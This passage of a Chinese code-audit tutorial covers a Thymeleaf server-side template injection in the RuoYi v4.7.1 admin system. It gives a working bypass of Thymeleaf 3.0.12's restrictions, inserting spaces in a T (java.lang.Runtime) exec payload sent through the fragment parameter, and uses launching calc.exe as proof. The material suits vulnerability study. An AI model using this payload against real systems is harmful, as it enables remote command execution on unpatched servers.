找了半天原因,发现若依v4.7.1版本使用的是Thymeleaf3.0.12版本。

官方在这个版本进行了一些限制,比如使用new实例化,静态方法调用都被限制了。还有其他一些限制,详细可看https://github.com/thymeleaf/thymeleaf/issues/809。下图为谷歌机翻,大致可以看一下。

thymeleaf3012限制

因此,我们刚开始用的Payload是被限制了。

经过一顿操作猛如虎,其实谷歌就能有。

我们将Payload改造一下,如${T (java.lang.Runtime).getRuntime().exec("calc.exe")}。在T和(之间多加几个空格即可。

对Payload进行URL编码后,放入fragment参数中,可以看到弹出了计算器,如下图所示:

thymeleaf弹计算器

至此,漏洞验证部分结束。

希望大家在这基础上,进一步学习Thymeleaf模板注入漏洞。直接推荐一篇文章:https://xz.aliyun.com/t/9826


JavaWeb代码审计实战之若依管理系统,细节满满不得不好好学的一个系统
http://example.com/2022/08/22/JavaWeb代码审计实战之若依管理系统,细节满满不得不好好学的一个系统/
作者
Power7089
发布于
2022年8月22日
许可协议